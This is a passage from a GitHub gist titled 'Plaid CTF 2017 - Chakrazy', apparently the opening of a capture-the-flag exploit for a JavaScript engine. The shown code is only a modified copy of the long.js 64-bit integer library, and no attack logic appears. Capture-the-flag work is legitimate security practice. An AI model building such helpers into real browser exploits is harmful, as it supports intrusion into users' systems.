-
-
Save Charo-IT/c6c82762bf3f5997ddadbbd4a75eb504 to your computer and use it in GitHub Desktop.
Plaid CTF 2017 - Chakrazy
This file contains bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
/** | |
* @license long.js (c) 2013 Daniel Wirtz <dcode@dcode.io> | |
* Released under the Apache License, Version 2.0 | |
* see: https://github.com/dcodeIO/long.js for details | |
*/ | |
var Integer = (function() { | |
/** | |
* Constructs a 64 bit two's-complement integer, given its low and high 32 bit values as *signed* integers. | |
* See the from* functions below for more convenient ways of constructing Integers. | |
* @exports Integer | |
* @class A Integer class for representing a 64 bit two's-complement integer value. | |
* @param {number} low The low (signed) 32 bits of the long | |
* @param {number} high The high (signed) 32 bits of the long | |
* @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed | |
* @constructor | |
*/ | |
function Integer(low, high, unsigned, size) { | |
this.size = size || 64; | |
if (size == 8) { | |
low &= 0xff; | |
if (unsigned || low < 0x80) { | |
high = 0; | |
} else { | |
low |= 0xffffff00; | |
high = 0xffffffff; | |
} | |
} else if (size == 16) { | |
low &= 0xffff; | |
if (unsigned || low < 0x8000) { | |
high = 0; | |
} else { | |
low |= 0xffff0000; | |
high = 0xffffffff; | |
} | |
} else if (size == 32) { | |
if (unsigned || (low|0) >= 0) { | |
high = 0; | |
} else { | |
high = 0xffffffff; | |
} | |
} | |
/** | |
* The low 32 bits as a signed value. | |
* @type {number} | |
*/ | |
this.low = low | 0; | |
/** | |
* The high 32 bits as a signed value. | |
* @type {number} | |
*/ | |
this.high = high | 0; | |
/** | |
* Whether unsigned or not. | |
* @type {boolean} | |
*/ | |
this.unsigned = !!unsigned; | |
} | |
// The internal representation of a long is the two given signed, 32-bit values. | |
// We use 32-bit pieces because these are the size of integers on which | |
// Javascript performs bit-operations. For operations like addition and | |
// multiplication, we split each number into 16 bit pieces, which can easily be | |
// multiplied within Javascript's floating-point representation without overflow | |
// or change in sign. | |
// | |
// In the algorithms below, we frequently reduce the negative case to the | |
// positive case by negating the input(s) and then post-processing the result. | |
// Note that we must ALWAYS check specially whether those values are MIN_VALUE | |
// (-2^63) because -MIN_VALUE == MIN_VALUE (since 2^63 cannot be represented as | |
// a positive number, it overflows back into a negative). Not handling this | |
// case would often result in infinite recursion. | |
// | |
// Common constant values ZERO, ONE, NEG_ONE, etc. are defined below the from* | |
// methods on which they depend. | |
/** | |
* An indicator used to reliably determine if an object is a Integer or not. | |
* @type {boolean} | |
* @const | |
* @private | |
*/ | |
Integer.prototype.__isInteger__; | |
Object.defineProperty(Integer.prototype, "__isInteger__", { | |
value: true, | |
enumerable: false, | |
configurable: false | |
}); | |
/** | |
* @function | |
* @param {*} obj Object | |
* @returns {boolean} | |
* @inner | |
*/ | |
function isInteger(obj) { | |
return (obj && obj["__isInteger__"]) === true; | |
} | |
/** | |
* Tests if the specified object is a Integer. | |
* @function | |
* @param {*} obj Object | |
* @returns {boolean} | |
*/ | |
Integer.isInteger = isInteger; | |
/** | |
* A cache of the Integer representations of small integer values. | |
* @type {!Object} | |
* @inner | |
*/ | |
var INT_CACHE = {}; | |
/** | |
* A cache of the Integer representations of small unsigned integer values. | |
* @type {!Object} | |
* @inner | |
*/ | |
var UINT_CACHE = {}; | |
/** | |
* @param {number} value | |
* @param {boolean=} unsigned | |
* @returns {!Integer} | |
* @inner | |
*/ | |
function fromInt(value, unsigned) { | |
var obj, cachedObj, cache; | |
if (unsigned) { | |
value >>>= 0; | |
if (cache = (0 <= value && value < 256)) { | |
cachedObj = UINT_CACHE[value]; | |
if (cachedObj) | |
return cachedObj; | |
} | |
obj = fromBits(value, (value | 0) < 0 ? -1 : 0, true); | |
if (cache) | |
UINT_CACHE[value] = obj; | |
return obj; | |
} else { | |
value |= 0; | |
if (cache = (-128 <= value && value < 128)) { | |
cachedObj = INT_CACHE[value]; | |
if (cachedObj) | |
return cachedObj; | |
} | |
obj = fromBits(value, value < 0 ? -1 : 0, false); | |
if (cache) | |
INT_CACHE[value] = obj; | |
return obj; | |
} | |
} | |
/** | |
* Returns a Integer representing the given 32 bit integer value. | |
* @function | |
* @param {number} value The 32 bit integer in question | |
* @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed | |
* @returns {!Integer} The corresponding Integer value | |
*/ | |
Integer.fromInt = fromInt; | |
/** | |
* @param {number} value | |
* @param {boolean=} unsigned | |
* @returns {!Integer} | |
* @inner | |
*/ | |
function fromNumber(value, unsigned) { | |
if (isNaN(value) || !isFinite(value)) | |
return unsigned ? UZERO : ZERO; | |
if (unsigned) { | |
if (value < 0) | |
return UZERO; | |
if (value >= TWO_PWR_64_DBL) | |
return MAX_UNSIGNED_VALUE; | |
} else { | |
if (value <= -TWO_PWR_63_DBL) | |
return MIN_VALUE; | |
if (value + 1 >= TWO_PWR_63_DBL) | |
return MAX_VALUE; | |
} | |
if (value < 0) | |
return fromNumber(-value, unsigned).neg(); | |
return fromBits((value % TWO_PWR_32_DBL) | 0, (value / TWO_PWR_32_DBL) | 0, unsigned); | |
} | |
/** | |
* Returns a Integer representing the given value, provided that it is a finite number. Otherwise, zero is returned. | |
* @function | |
* @param {number} value The number in question | |
* @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed | |
* @returns {!Integer} The corresponding Integer value | |
*/ | |
Integer.fromNumber = fromNumber; | |
/** | |
* @param {number} lowBits | |
* @param {number} highBits | |
* @param {boolean=} unsigned | |
* @returns {!Integer} | |
* @inner | |
*/ | |
function fromBits(lowBits, highBits, unsigned) { | |
return new Integer(lowBits, highBits, unsigned); | |
} | |
/** | |
* Returns a Integer representing the 64 bit integer that comes by concatenating the given low and high bits. Each is | |
* assumed to use 32 bits. | |
* @function | |
* @param {number} lowBits The low 32 bits | |
* @param {number} highBits The high 32 bits | |
* @param {boolean=} unsigned Whether unsigned or not, defaults to `false` for signed | |
* @returns {!Integer} The corresponding Integer value | |
*/ | |
Integer.fromBits = fromBits; | |
/** | |
* @function | |
* @param {number} base | |
* @param {number} exponent | |
* @returns {number} | |
* @inner | |
*/ | |
var pow_dbl = Math.pow; // Used 4 times (4*8 to 15+4) | |
/** | |
* @param {string} str | |
* @param {(boolean|number)=} unsigned | |
* @param {number=} radix | |
* @returns {!Integer} | |
* @inner | |
*/ | |
function fromString(str, unsigned, radix) { | |
if (str.length === 0) | |
throw Error('empty string'); | |
if (str === "NaN" || str === "Infinity" || str === "+Infinity" || str === "-Infinity") | |
return ZERO; | |
if (typeof unsigned === 'number') { | |
// For goog.math.long compatibility | |
radix = unsigned, | |
unsigned = false; | |
} else { | |
unsigned = !! unsigned; | |
} | |
radix = radix || 10; | |
if (radix < 2 || 36 < radix) | |
throw RangeError('radix'); | |
var p; | |
if ((p = str.indexOf('-')) > 0) | |
throw Error('interior hyphen'); | |
else if (p === 0) { | |
return fromString(str.substring(1), unsigned, radix).neg(); | |
} | |
// Do several (8) digits each time through the loop, so as to | |
// minimize the calls to the very expensive emulated div. | |
var radixToPower = fromNumber(pow_dbl(radix, 8)); | |
var result = ZERO; | |
for (var i = 0; i < str.length; i += 8) { | |
var size = Math.min(8, str.length - i), | |
value = parseInt(str.substring(i, i + size), radix); | |
if (size < 8) { | |
var power = fromNumber(pow_dbl(radix, size)); | |
result = result.mul(power).add(fromNumber(value)); | |
} else { | |
result = result.mul(radixToPower); | |
result = result.add(fromNumber(value)); | |
} | |
} | |
result.unsigned = unsigned; | |
return result; | |
} | |
/** | |
* Returns a Integer representation of the given string, written using the specified radix. | |
* @function | |
* @param {string} str The textual representation of the Integer | |
* @param {(boolean|number)=} unsigned Whether unsigned or not, defaults to `false` for signed | |
* @param {number=} radix The radix in which the text is written (2-36), defaults to 10 | |
* @returns {!Integer} The corresponding Integer value | |
*/ | |
Integer.fromString = fromString; | |
/** | |
* @function | |
* @param {!Integer|number|string|!{low: number, high: number, unsigned: boolean}} val | |
* @returns {!Integer} | |
* @inner | |
*/ | |
function fromValue(val) { | |
if (val /* is compatible */ instanceof Integer) | |
return val; | |
if (typeof val === 'number') | |
return fromNumber(val); | |
if (typeof val === 'string') | |
return fromString(val); | |
// Throws for non-objects, converts non-instanceof Integer: | |
return fromBits(val.low, val.high, val.unsigned); | |
} | |
/** | |
* Converts the specified value to a Integer. | |
* @function | |
* @param {!Integer|number|string|!{low: number, high: number, unsigned: boolean}} val Value | |
* @returns {!Integer} | |
*/ | |
Integer.fromValue = fromValue; | |
// NOTE: the compiler should inline these constant values below and then remove these variables, so there should be | |
// no runtime penalty for these. | |
/** | |
* @type {number} | |
* @const | |
* @inner | |
*/ | |
var TWO_PWR_16_DBL = 1 << 16; | |
/** | |
* @type {number} | |
* @const | |
* @inner | |
*/ | |
var TWO_PWR_24_DBL = 1 << 24; | |
/** | |
* @type {number} | |
* @const | |
* @inner | |
*/ | |
var TWO_PWR_32_DBL = TWO_PWR_16_DBL * TWO_PWR_16_DBL; | |
/** | |
* @type {number} | |
* @const | |
* @inner | |
*/ | |
var TWO_PWR_64_DBL = TWO_PWR_32_DBL * TWO_PWR_32_DBL; | |
/** | |
* @type {number} | |
* @const | |
* @inner | |
*/ | |
var TWO_PWR_63_DBL = TWO_PWR_64_DBL / 2; | |
/** | |
* @type {!Integer} | |
* @const | |
* @inner | |
*/ | |
var TWO_PWR_24 = fromInt(TWO_PWR_24_DBL); | |
/** | |
* @type {!Integer} | |
* @inner | |
*/ | |
var ZERO = fromInt(0); | |
/** | |
* Signed zero. | |
* @type {!Integer} | |
*/ | |
Integer.ZERO = ZERO; | |
/** | |
* @type {!Integer} | |
* @inner | |
*/ | |
var UZERO = fromInt(0, true); | |
/** | |
* Unsigned zero. | |
* @type {!Integer} | |
*/ | |
Integer.UZERO = UZERO; | |
/** | |
* @type {!Integer} | |
* @inner | |
*/ | |
var ONE = fromInt(1); | |
/** | |
* Signed one. | |
* @type {!Integer} | |
*/ | |
Integer.ONE = ONE; | |
/** | |
* @type {!Integer} | |
* @inner | |
*/ | |
var UONE = fromInt(1, true); | |
/** | |
* Unsigned one. | |
* @type {!Integer} | |
*/ | |
Integer.UONE = UONE; | |
/** | |
* @type {!Integer} | |
* @inner | |
*/ | |
var NEG_ONE = fromInt(-1); | |
/** | |
* Signed negative one. | |
* @type {!Integer} | |
*/ | |
Integer.NEG_ONE = NEG_ONE; | |
/** | |
* @type {!Integer} | |
* @inner | |
*/ | |
var MAX_VALUE = fromBits(0xFFFFFFFF|0, 0x7FFFFFFF|0, false); | |
/** | |
* Maximum signed value. | |
* @type {!Integer} | |
*/ | |
Integer.MAX_VALUE = MAX_VALUE; | |
/** | |
* @type {!Integer} | |
* @inner | |
*/ | |
var MAX_UNSIGNED_VALUE = fromBits(0xFFFFFFFF|0, 0xFFFFFFFF|0, true); | |
/** | |
* Maximum unsigned value. | |
* @type {!Integer} | |
*/ | |
Integer.MAX_UNSIGNED_VALUE = MAX_UNSIGNED_VALUE; | |
/** | |
* @type {!Integer} | |
* @inner | |
*/ | |
var MIN_VALUE = fromBits(0, 0x80000000|0, false); | |
/** | |
* Minimum signed value. | |
* @type {!Integer} | |
*/ | |
Integer.MIN_VALUE = MIN_VALUE; | |
/** | |
* @alias Integer.prototype | |
* @inner | |
*/ | |
var IntegerPrototype = Integer.prototype; | |
/** | |
* Converts the Integer to a 32 bit integer, assuming it is a 32 bit integer. | |
* @returns {number} | |
*/ | |
IntegerPrototype.toInt = function toInt() { | |
return this.unsigned ? this.low >>> 0 : this.low; | |
}; | |
/** | |
* Converts the Integer to a the nearest floating-point representation of this value (double, 53 bit mantissa). | |
* @returns {number} | |
*/ | |
IntegerPrototype.toNumber = function toNumber() { | |
if (this.unsigned) | |
return ((this.high >>> 0) * TWO_PWR_32_DBL) + (this.low >>> 0); | |
return this.high * TWO_PWR_32_DBL + (this.low >>> 0); | |
}; | |
/** | |
* Converts the Integer to a string written in the specified radix. | |
* @param {number=} radix Radix (2-36), defaults to 10 | |
* @returns {string} | |
* @override | |
* @throws {RangeError} If `radix` is out of range | |
*/ | |
IntegerPrototype.toString = function toString(radix) { | |
radix = radix || 10; | |
if (radix < 2 || 36 < radix) | |
throw RangeError('radix'); | |
if (this.isZero()) | |
return '0'; | |
if (this.isNegative()) { // Unsigned Integers are never negative | |
if (this.eq(MIN_VALUE)) { | |
// We need to change the Integer value before it can be negated, so we remove | |
// the bottom-most digit in this base and then recurse to do the rest. | |
var radixInteger = fromNumber(radix), | |
div = this.div(radixInteger), | |
rem1 = div.mul(radixInteger).sub(this); | |
return div.toString(radix) + rem1.toInt().toString(radix); | |
} else | |
return '-' + this.neg().toString(radix); | |
} | |
// Do several (6) digits each time through the loop, so as to | |
// minimize the calls to the very expensive emulated div. | |
var radixToPower = fromNumber(pow_dbl(radix, 6), this.unsigned), | |
rem = this; | |
var result = ''; | |
while (true) { | |
var remDiv = rem.div(radixToPower), | |
intval = rem.sub(remDiv.mul(radixToPower)).toInt() >>> 0, | |
digits = intval.toString(radix); | |
rem = remDiv; | |
if (rem.isZero()) | |
return digits + result; | |
else { | |
while (digits.length < 6) | |
digits = '0' + digits; | |
result = '' + digits + result; | |
} | |
} | |
}; | |
/** | |
* Gets the high 32 bits as a signed integer. | |
* @returns {number} Signed high bits | |
*/ | |
IntegerPrototype.getHighBits = function getHighBits() { | |
return this.high; | |
}; | |
/** | |
* Gets the high 32 bits as an unsigned integer. | |
* @returns {number} Unsigned high bits | |
*/ | |
IntegerPrototype.getHighBitsUnsigned = function getHighBitsUnsigned() { | |
return this.high >>> 0; | |
}; | |
/** | |
* Gets the low 32 bits as a signed integer. | |
* @returns {number} Signed low bits | |
*/ | |
IntegerPrototype.getLowBits = function getLowBits() { | |
return this.low; | |
}; | |
/** | |
* Gets the low 32 bits as an unsigned integer. | |
* @returns {number} Unsigned low bits | |
*/ | |
IntegerPrototype.getLowBitsUnsigned = function getLowBitsUnsigned() { | |
return this.low >>> 0; | |
}; | |
/** | |
* Gets the number of bits needed to represent the absolute value of this Integer. | |
* @returns {number} | |
*/ | |
IntegerPrototype.getNumBitsAbs = function getNumBitsAbs() { | |
if (this.isNegative()) // Unsigned Integers are never negative | |
return this.eq(MIN_VALUE) ? 64 : this.neg().getNumBitsAbs(); | |
var val = this.high != 0 ? this.high : this.low; | |
for (var bit = 31; bit > 0; bit--) | |
if ((val & (1 << bit)) != 0) | |
break; | |
return this.high != 0 ? bit + 33 : bit + 1; | |
}; | |
/** | |
* Tests if this Integer's value equals zero. | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.isZero = function isZero() { | |
return this.high === 0 && this.low === 0; | |
}; | |
/** | |
* Tests if this Integer's value is negative. | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.isNegative = function isNegative() { | |
return !this.unsigned && this.high < 0; | |
}; | |
/** | |
* Tests if this Integer's value is positive. | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.isPositive = function isPositive() { | |
return this.unsigned || this.high >= 0; | |
}; | |
/** | |
* Tests if this Integer's value is odd. | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.isOdd = function isOdd() { | |
return (this.low & 1) === 1; | |
}; | |
/** | |
* Tests if this Integer's value is even. | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.isEven = function isEven() { | |
return (this.low & 1) === 0; | |
}; | |
/** | |
* Tests if this Integer's value equals the specified's. | |
* @param {!Integer|number|string} other Other value | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.equals = function equals(other) { | |
if (!isInteger(other)) | |
other = fromValue(other); | |
if (this.unsigned !== other.unsigned && (this.high >>> 31) === 1 && (other.high >>> 31) === 1) | |
return false; | |
return this.high === other.high && this.low === other.low; | |
}; | |
/** | |
* Tests if this Integer's value equals the specified's. This is an alias of {@link Integer#equals}. | |
* @function | |
* @param {!Integer|number|string} other Other value | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.eq = IntegerPrototype.equals; | |
/** | |
* Tests if this Integer's value differs from the specified's. | |
* @param {!Integer|number|string} other Other value | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.notEquals = function notEquals(other) { | |
return !this.eq(/* validates */ other); | |
}; | |
/** | |
* Tests if this Integer's value differs from the specified's. This is an alias of {@link Integer#notEquals}. | |
* @function | |
* @param {!Integer|number|string} other Other value | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.neq = IntegerPrototype.notEquals; | |
/** | |
* Tests if this Integer's value is less than the specified's. | |
* @param {!Integer|number|string} other Other value | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.lessThan = function lessThan(other) { | |
return this.comp(/* validates */ other) < 0; | |
}; | |
/** | |
* Tests if this Integer's value is less than the specified's. This is an alias of {@link Integer#lessThan}. | |
* @function | |
* @param {!Integer|number|string} other Other value | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.lt = IntegerPrototype.lessThan; | |
/** | |
* Tests if this Integer's value is less than or equal the specified's. | |
* @param {!Integer|number|string} other Other value | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.lessThanOrEqual = function lessThanOrEqual(other) { | |
return this.comp(/* validates */ other) <= 0; | |
}; | |
/** | |
* Tests if this Integer's value is less than or equal the specified's. This is an alias of {@link Integer#lessThanOrEqual}. | |
* @function | |
* @param {!Integer|number|string} other Other value | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.lte = IntegerPrototype.lessThanOrEqual; | |
/** | |
* Tests if this Integer's value is greater than the specified's. | |
* @param {!Integer|number|string} other Other value | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.greaterThan = function greaterThan(other) { | |
return this.comp(/* validates */ other) > 0; | |
}; | |
/** | |
* Tests if this Integer's value is greater than the specified's. This is an alias of {@link Integer#greaterThan}. | |
* @function | |
* @param {!Integer|number|string} other Other value | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.gt = IntegerPrototype.greaterThan; | |
/** | |
* Tests if this Integer's value is greater than or equal the specified's. | |
* @param {!Integer|number|string} other Other value | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.greaterThanOrEqual = function greaterThanOrEqual(other) { | |
return this.comp(/* validates */ other) >= 0; | |
}; | |
/** | |
* Tests if this Integer's value is greater than or equal the specified's. This is an alias of {@link Integer#greaterThanOrEqual}. | |
* @function | |
* @param {!Integer|number|string} other Other value | |
* @returns {boolean} | |
*/ | |
IntegerPrototype.gte = IntegerPrototype.greaterThanOrEqual; | |
/** | |
* Compares this Integer's value with the specified's. | |
* @param {!Integer|number|string} other Other value | |
* @returns {number} 0 if they are the same, 1 if the this is greater and -1 | |
* if the given one is greater | |
*/ | |
IntegerPrototype.compare = function compare(other) { | |
if (!isInteger(other)) | |
other = fromValue(other); | |
if (this.eq(other)) | |
return 0; | |
var thisNeg = this.isNegative(), | |
otherNeg = other.isNegative(); | |
if (thisNeg && !otherNeg) | |
return -1; | |
if (!thisNeg && otherNeg) | |
return 1; | |
// At this point the sign bits are the same | |
if (!this.unsigned) | |
return this.sub(other).isNegative() ? -1 : 1; | |
// Both are positive if at least one is unsigned | |
return (other.high >>> 0) > (this.high >>> 0) || (other.high === this.high && (other.low >>> 0) > (this.low >>> 0)) ? -1 : 1; | |
}; | |
/** | |
* Compares this Integer's value with the specified's. This is an alias of {@link Integer#compare}. | |
* @function | |
* @param {!Integer|number|string} other Other value | |
* @returns {number} 0 if they are the same, 1 if the this is greater and -1 | |
* if the given one is greater | |
*/ | |
IntegerPrototype.comp = IntegerPrototype.compare; | |
/** | |
* Negates this Integer's value. | |
* @returns {!Integer} Negated Integer | |
*/ | |
IntegerPrototype.negate = function negate() { | |
if (!this.unsigned && this.eq(MIN_VALUE)) | |
return MIN_VALUE; | |
return this.not().add(ONE); | |
}; | |
/** | |
* Negates this Integer's value. This is an alias of {@link Integer#negate}. | |
* @function | |
* @returns {!Integer} Negated Integer | |
*/ | |
IntegerPrototype.neg = IntegerPrototype.negate; | |
/** | |
* Returns the sum of this and the specified Integer. | |
* @param {!Integer|number|string} addend Addend | |
* @returns {!Integer} Sum | |
*/ | |
IntegerPrototype.add = function add(addend) { | |
if (!isInteger(addend)) | |
addend = fromValue(addend); | |
// Divide each number into 4 chunks of 16 bits, and then sum the chunks. | |
var a48 = this.high >>> 16; | |
var a32 = this.high & 0xFFFF; | |
var a16 = this.low >>> 16; | |
var a00 = this.low & 0xFFFF; | |
var b48 = addend.high >>> 16; | |
var b32 = addend.high & 0xFFFF; | |
var b16 = addend.low >>> 16; | |
var b00 = addend.low & 0xFFFF; | |
var c48 = 0, c32 = 0, c16 = 0, c00 = 0; | |
c00 += a00 + b00; | |
c16 += c00 >>> 16; | |
c00 &= 0xFFFF; | |
c16 += a16 + b16; | |
c32 += c16 >>> 16; | |
c16 &= 0xFFFF; | |
c32 += a32 + b32; | |
c48 += c32 >>> 16; | |
c32 &= 0xFFFF; | |
c48 += a48 + b48; | |
c48 &= 0xFFFF; | |
return fromBits((c16 << 16) | c00, (c48 << 16) | c32, this.unsigned, this.size); | |
}; | |
/** | |
* Returns the difference of this and the specified Integer. | |
* @param {!Integer|number|string} subtrahend Subtrahend | |
* @returns {!Integer} Difference | |
*/ | |
IntegerPrototype.subtract = function subtract(subtrahend) { | |
if (!isInteger(subtrahend)) | |
subtrahend = fromValue(subtrahend); | |
return this.add(subtrahend.neg()); | |
}; | |
/** | |
* Returns the difference of this and the specified Integer. This is an alias of {@link Integer#subtract}. | |
* @function | |
* @param {!Integer|number|string} subtrahend Subtrahend | |
* @returns {!Integer} Difference | |
*/ | |
IntegerPrototype.sub = IntegerPrototype.subtract; | |
/** | |
* Returns the product of this and the specified Integer. | |
* @param {!Integer|number|string} multiplier Multiplier | |
* @returns {!Integer} Product | |
*/ | |
IntegerPrototype.multiply = function multiply(multiplier) { | |
if (this.isZero()) | |
return ZERO; | |
if (!isInteger(multiplier)) | |
multiplier = fromValue(multiplier); | |
if (multiplier.isZero()) | |
return ZERO; | |
if (this.eq(MIN_VALUE)) | |
return multiplier.isOdd() ? MIN_VALUE : ZERO; | |
if (multiplier.eq(MIN_VALUE)) | |
return this.isOdd() ? MIN_VALUE : ZERO; | |
if (this.isNegative()) { | |
if (multiplier.isNegative()) | |
return this.neg().mul(multiplier.neg()); | |
else | |
return this.neg().mul(multiplier).neg(); | |
} else if (multiplier.isNegative()) | |
return this.mul(multiplier.neg()).neg(); | |
// If both longs are small, use float multiplication | |
if (this.lt(TWO_PWR_24) && multiplier.lt(TWO_PWR_24)) | |
return fromNumber(this.toNumber() * multiplier.toNumber(), this.unsigned); | |
// Divide each long into 4 chunks of 16 bits, and then add up 4x4 products. | |
// We can skip products that would overflow. | |
var a48 = this.high >>> 16; | |
var a32 = this.high & 0xFFFF; | |
var a16 = this.low >>> 16; | |
var a00 = this.low & 0xFFFF; | |
var b48 = multiplier.high >>> 16; | |
var b32 = multiplier.high & 0xFFFF; | |
var b16 = multiplier.low >>> 16; | |
var b00 = multiplier.low & 0xFFFF; | |
var c48 = 0, c32 = 0, c16 = 0, c00 = 0; | |
c00 += a00 * b00; | |
c16 += c00 >>> 16; | |
c00 &= 0xFFFF; | |
c16 += a16 * b00; | |
c32 += c16 >>> 16; | |
c16 &= 0xFFFF; | |
c16 += a00 * b16; | |
c32 += c16 >>> 16; | |
c16 &= 0xFFFF; | |
c32 += a32 * b00; | |
c48 += c32 >>> 16; | |
c32 &= 0xFFFF; | |
c32 += a16 * b16; | |
c48 += c32 >>> 16; | |
c32 &= 0xFFFF; | |
c32 += a00 * b32; | |
c48 += c32 >>> 16; | |
c32 &= 0xFFFF; | |
c48 += a48 * b00 + a32 * b16 + a16 * b32 + a00 * b48; | |
c48 &= 0xFFFF; | |
return fromBits((c16 << 16) | c00, (c48 << 16) | c32, this.unsigned, this.size); | |
}; | |
/** | |
* Returns the product of this and the specified Integer. This is an alias of {@link Integer#multiply}. | |
* @function | |
* @param {!Integer|number|string} multiplier Multiplier | |
* @returns {!Integer} Product | |
*/ | |
IntegerPrototype.mul = IntegerPrototype.multiply; | |
/** | |
* Returns this Integer divided by the specified. The result is signed if this Integer is signed or | |
* unsigned if this Integer is unsigned. | |
* @param {!Integer|number|string} divisor Divisor | |
* @returns {!Integer} Quotient | |
*/ | |
IntegerPrototype.divide = function divide(divisor) { | |
if (!isInteger(divisor)) | |
divisor = fromValue(divisor); | |
if (divisor.isZero()) | |
throw Error('division by zero'); | |
if (this.isZero()) | |
return this.unsigned ? UZERO : ZERO; | |
var approx, rem, res; | |
if (!this.unsigned) { | |
// This section is only relevant for signed longs and is derived from the | |
// closure library as a whole. | |
if (this.eq(MIN_VALUE)) { | |
if (divisor.eq(ONE) || divisor.eq(NEG_ONE)) | |
return MIN_VALUE; // recall that -MIN_VALUE == MIN_VALUE | |
else if (divisor.eq(MIN_VALUE)) | |
return ONE; | |
else { | |
// At this point, we have |other| >= 2, so |this/other| < |MIN_VALUE|. | |
var halfThis = this.shr(1); | |
approx = halfThis.div(divisor).shl(1); | |
if (approx.eq(ZERO)) { | |
return divisor.isNegative() ? ONE : NEG_ONE; | |
} else { | |
rem = this.sub(divisor.mul(approx)); | |
res = approx.add(rem.div(divisor)); | |
return res; | |
} | |
} | |
} else if (divisor.eq(MIN_VALUE)) | |
return this.unsigned ? UZERO : ZERO; | |
if (this.isNegative()) { | |
if (divisor.isNegative()) | |
return this.neg().div(divisor.neg()); | |
return this.neg().div(divisor).neg(); | |
} else if (divisor.isNegative()) | |
return this.div(divisor.neg()).neg(); | |
res = ZERO; | |
} else { | |
// The algorithm below has not been made for unsigned longs. It's therefore | |
// required to take special care of the MSB prior to running it. | |
if (!divisor.unsigned) | |
divisor = divisor.toUnsigned(); | |
if (divisor.gt(this)) | |
return UZERO; | |
if (divisor.gt(this.shru(1))) // 15 >>> 1 = 7 ; with divisor = 8 ; true | |
return UONE; | |
res = UZERO; | |
} | |
// Repeat the following until the remainder is less than other: find a | |
// floating-point that approximates remainder / other *from below*, add this | |
// into the result, and subtract it from the remainder. It is critical that | |
// the approximate value is less than or equal to the real value so that the | |
// remainder never becomes negative. | |
rem = this; | |
while (rem.gte(divisor)) { | |
// Approximate the result of division. This may be a little greater or | |
// smaller than the actual value. | |
approx = Math.max(1, Math.floor(rem.toNumber() / divisor.toNumber())); | |
// We will tweak the approximate result by changing it in the 48-th digit or | |
// the smallest non-fractional digit, whichever is larger. | |
var log2 = Math.ceil(Math.log(approx) / Math.LN2), | |
delta = (log2 <= 48) ? 1 : pow_dbl(2, log2 - 48), | |
// Decrease the approximation until it is smaller than the remainder. Note | |
// that if it is too large, the product overflows and is negative. | |
approxRes = fromNumber(approx), | |
approxRem = approxRes.mul(divisor); | |
while (approxRem.isNegative() || approxRem.gt(rem)) { | |
approx -= delta; | |
approxRes = fromNumber(approx, this.unsigned); | |
approxRem = approxRes.mul(divisor); | |
} | |
// We know the answer can't be zero... and actually, zero would cause | |
// infinite recursion since we would make no progress. | |
if (approxRes.isZero()) | |
approxRes = ONE; | |
res = res.add(approxRes); | |
rem = rem.sub(approxRem); | |
} | |
return res; | |
}; | |
/** | |
* Returns this Integer divided by the specified. This is an alias of {@link Integer#divide}. | |
* @function | |
* @param {!Integer|number|string} divisor Divisor | |
* @returns {!Integer} Quotient | |
*/ | |
IntegerPrototype.div = IntegerPrototype.divide; | |
/** | |
* Returns this Integer modulo the specified. | |
* @param {!Integer|number|string} divisor Divisor | |
* @returns {!Integer} Remainder | |
*/ | |
IntegerPrototype.modulo = function modulo(divisor) { | |
if (!isInteger(divisor)) | |
divisor = fromValue(divisor); | |
return this.sub(this.div(divisor).mul(divisor)); | |
}; | |
/** | |
* Returns this Integer modulo the specified. This is an alias of {@link Integer#modulo}. | |
* @function | |
* @param {!Integer|number|string} divisor Divisor | |
* @returns {!Integer} Remainder | |
*/ | |
IntegerPrototype.mod = IntegerPrototype.modulo; | |
/** | |
* Returns the bitwise NOT of this Integer. | |
* @returns {!Integer} | |
*/ | |
IntegerPrototype.not = function not() { | |
return fromBits(~this.low, ~this.high, this.unsigned, this.size); | |
}; | |
/** | |
* Returns the bitwise AND of this Integer and the specified. | |
* @param {!Integer|number|string} other Other Integer | |
* @returns {!Integer} | |
*/ | |
IntegerPrototype.and = function and(other) { | |
if (!isInteger(other)) | |
other = fromValue(other); | |
return fromBits(this.low & other.low, this.high & other.high, this.unsigned, this.size); | |
}; | |
/** | |
* Returns the bitwise OR of this Integer and the specified. | |
* @param {!Integer|number|string} other Other Integer | |
* @returns {!Integer} | |
*/ | |
IntegerPrototype.or = function or(other) { | |
if (!isInteger(other)) | |
other = fromValue(other); | |
return fromBits(this.low | other.low, this.high | other.high, this.unsigned, this.size); | |
}; | |
/** | |
* Returns the bitwise XOR of this Integer and the given one. | |
* @param {!Integer|number|string} other Other Integer | |
* @returns {!Integer} | |
*/ | |
IntegerPrototype.xor = function xor(other) { | |
if (!isInteger(other)) | |
other = fromValue(other); | |
return fromBits(this.low ^ other.low, this.high ^ other.high, this.unsigned, this.size); | |
}; | |
/** | |
* Returns this Integer with bits shifted to the left by the given amount. | |
* @param {number|!Integer} numBits Number of bits | |
* @returns {!Integer} Shifted Integer | |
*/ | |
IntegerPrototype.shiftLeft = function shiftLeft(numBits) { | |
if (isInteger(numBits)) | |
numBits = numBits.toInt(); | |
if ((numBits &= 63) === 0) | |
return this; | |
else if (numBits < 32) | |
return fromBits(this.low << numBits, (this.high << numBits) | (this.low >>> (32 - numBits)), this.unsigned, this.size); | |
else | |
return fromBits(0, this.low << (numBits - 32), this.unsigned, this.size); | |
}; | |
/** | |
* Returns this Integer with bits shifted to the left by the given amount. This is an alias of {@link Integer#shiftLeft}. | |
* @function | |
* @param {number|!Integer} numBits Number of bits | |
* @returns {!Integer} Shifted Integer | |
*/ | |
